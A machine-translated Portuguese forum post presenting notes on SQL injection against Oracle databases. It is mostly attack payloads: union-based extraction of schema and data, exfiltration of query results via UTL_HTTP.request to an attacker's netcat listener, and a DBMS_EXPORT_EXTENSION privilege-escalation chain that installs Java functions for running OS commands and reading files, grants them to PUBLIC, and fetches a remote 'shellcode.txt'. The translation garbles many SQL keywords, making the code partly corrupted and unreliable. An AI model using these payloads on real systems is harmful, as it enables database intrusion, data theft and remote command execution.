Este artigo é um artigo espelhado de tradução automática, por favor clique aqui para ir para o artigo original.

Vista: 11931|Resposta: 0

[Comunicação Segura] SQL injection notes oracle

[Copiar link]
Publicado em 24/01/2015 12:58:17 | | |
Este post foi editado pela última vez por test em 24-1-2015 às 13:01

Comentário: --
Execução múltipla de frases não é suportada, e consultas federadas são suportadas
Nomes de bancos de dados, nomes de tabelas e nomes de colunas são todos escritos com maiúscula.


comprimento(campo)
ASCII(substr(campo, N, 1))


e (selecionar count(*) a partir de dual)>0 -- Determinar se é oráculo ou não

Ordem por N--

e união 1=2 selecionar nulo, nulo,.....,nulo do dual-- substituir nulo por N ou 'N'

e 1=2 union select null, (instrução sql) ,.....,null de dual -- mudar para (instrução sql) em 'N'

e (selecione count(*) de all_objects onde object_name='UTL_HTTP')>0 -- Determine se o UTL_HTTP é suportado (o IP de exportação é conhecido)

e UTL_HTTP.request('http://LocalIP:port'|| (Declaração SQL)) =1-- Enviar mensagens remotamente para ouvir local, local nc -vv -l -p 1234


Instruções SQL
Selecione o banner de sys.v_$versão, onde rownum=1, para consultar a versão do oráculo
select member from v$logfile onde rownum=1 Consultar o caminho do arquivo de log (Windows ou Linux)
selecione utl_inaddr.get_host_address de dual para consultar o IP de ouvinte do banco de dados
Selecione instance_name de v$instance para consultar o sid
selecione nome de v$database Consultar o nome atual do banco de dados
selecione sys_context ('userenv','current_user') entre usuários de banco de dados de consulta dual
selecione * de session_roles onde rownum=1 para consultar as permissões atuais do usuário
selecione * de session_roles onde rownum=1 [e função<>'nome da primeira permissão']



selecione table_name de user_tables onde rownum=1 O primeiro segmento da tabela do banco de dados atual
selecione table_name||','|| tablespace_name de user_tables onde rownum=1 Primeiro segmento de tabela, banco de dados (para verificação, pode não ser v$database)
selecione table_name de user_tables onde rownum=1 e table_name<>'primeiro segmento de tabela' O segundo segmento de tabela do banco de dados atual

selecione column_name de user_tab_columns onde rownum=1 e table_name='Segmento da Tabela' O primeiro campo correspondente ao nome da tabela
selecione column_name de user_tab_columns onde rownum=1 e table_name='Segmento da tabela' e column_name<>'Primeiro campo' O segundo campo correspondente ao nome da tabela

campo select do segmento da tabela onde rownum=1 viola o conteúdo da primeira linha
Selecione o campo do segmento da tabela onde rownum=1 e o campo <> 'conteúdo da primeira linha' expõe o conteúdo da segunda linha


Biblioteca cruzada
selecione o proprietário de all_tables onde rownum=1 consulta o primeiro nome do banco de dados
selecione proprietário de all_tables onde rownum=1 e proprietário<> 'Primeiro nome do banco de dados' para consultar o segundo nome do banco de dados

selecione table_name de all_tables onde rownum=1 e proprietário='nome do banco de dados' Consultar o nome da primeira tabela do banco de dados correspondente
Selecione table_name de all_tables onde rownum=1, proprietário='nome do banco de dados' e table_name<>'nome da primeira tabela' para consultar o segundo nome da tabela correspondente

selecione column_name de all_tab_columns onde rownum=1 e proprietário='nome do banco de dados' e table_name='segmento da tabela' O primeiro campo correspondente ao nome da tabela
selecione column_name de all_tab_columns onde rownum=1 e proprietário='nome do banco de dados' e table_name='segmento da tabela' e column_name<>'primeiro campo' O segundo campo correspondente ao nome da tabela

Selecione campo do banco de dados. segmento da tabela onde rownum=1 viola o conteúdo da primeira linha
Selecione campo do banco de dados. O segmento da tabela onde rownum=1 e campo <> 'Conteúdo da Primeira Linha' viola o conteúdo da segunda linha





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); multi-sentenças END; --','SYS',0,'1',0)--

Se 'for escapado, chr() é usado.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-sentenças || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Se várias frases estiverem muito longas, você pode escrever a declaração no arquivo do site e usar utl_http.request para recuperá-la.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Crie um pacote JAVA SecTest
runCMD é usado para executar comandos do sistema
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUÇÃO IMEDIATA''', criar ou substituir e compilar o código-fonte Java chamado "SecTest" como importação java.io.*; a classe pública SecTest estende Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Retorno de força; }catch(Exceção e){return e.toString(); }}}''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--

readFile é usado para ler o arquivo
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUÇÃO IMEDIATA''', criar ou substituir e compilar o código-fonte Java chamado "SecTest" como importação java.io.*; a classe pública SecTest estende o Object{publico static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Retorno de força; }catch(Exceção e){return e.toString(); }}}''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--



Conceder permissões Java
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''iniciar dbms_java.conceder_permissão(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<TODOS OS ARQUIVOS>>'''''''',''''''''executar''''''''); fim; ''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--



Criar uma função
Função SecRunCMD
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''criar ou substituir função SecRunCMD(p_cmd em varchar2) retornar varchar2 como linguagem nome java''''''''SecTest.runCMD(java.lang.String) retorne String'''''''' ; ''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--

Função SecReadFile
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATO '''' criar ou substituir função SecReadFile(nome do arquivo em varchar2) retorne varchar2 como linguagem nome java''''''''SecTest.readFile(java.lang.String) retorne String' '''''''; ''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--



Conceder permissão para executar a função pública
O SecRunCMD recebe permissões
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUÇÃO IMEDIATA '''conceder tudo no SecRunCMD ao público'''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--

SecReadFile
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''conceder tudo no SecReadFile ao público'''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--



Detecta se a função foi criada com sucesso
e (selecione count(*) de all_objects onde object_name='SECRUNCMD')>0--
e (selecione count(*) de all_objects onde object_name='SECREADFILE')>0--



Execute o comando
e '1' <> (selecione sys. SecRunCMD('Execute command') de dual)--
e '1' <> (selecione sys. SecReadFile ('endereço físico do arquivo') de dual)--
ou
e união 1=2 selecionar null,...,sys. SecRunCMD('execute command'),...,null from dual--
e união 1=2 selecionar null,...,sys. SecReadFile('endereço físico do arquivo'),...,nulo de dual--
ou
e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SUBSTITUIR(SUBSTITUIR(SYS. SecRunCMD('Executar Comando'),' ',' '),'\n',' ')) de dual)--
e '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| SUBSTITUIR(SUBSTITUIR(SYS. SecReadFile('Endereço Físico do Arquivo'),' ',' '\n',' ')) de dual)--



Função de exclusão
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''função drop SecRunCMD''''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--
e '1'<>'a'|| (selecione SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAR IMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EXECUTAR IMEDIATAMENTE '''função drop SecReadFile'''; FIM; ''; FIM; --','SYS',0,'1',0) de dual)--




Anterior:Posso solicitar moderação, quais condições preciso?
Próximo:O ORALCE obtém o nome do host e o endereço IP
Disclaimer:
Todo software, material de programação ou artigos publicados pela Code Farmer Network são apenas para fins de aprendizado e pesquisa; O conteúdo acima não deve ser usado para fins comerciais ou ilegais, caso contrário, os usuários terão todas as consequências. As informações deste site vêm da Internet, e disputas de direitos autorais não têm nada a ver com este site. Você deve deletar completamente o conteúdo acima do seu computador em até 24 horas após o download. Se você gosta do programa, por favor, apoie um software genuíno, compre o registro e obtenha serviços genuínos melhores. Se houver qualquer infração, por favor, entre em contato conosco por e-mail.

Mail To:help@itsvse.com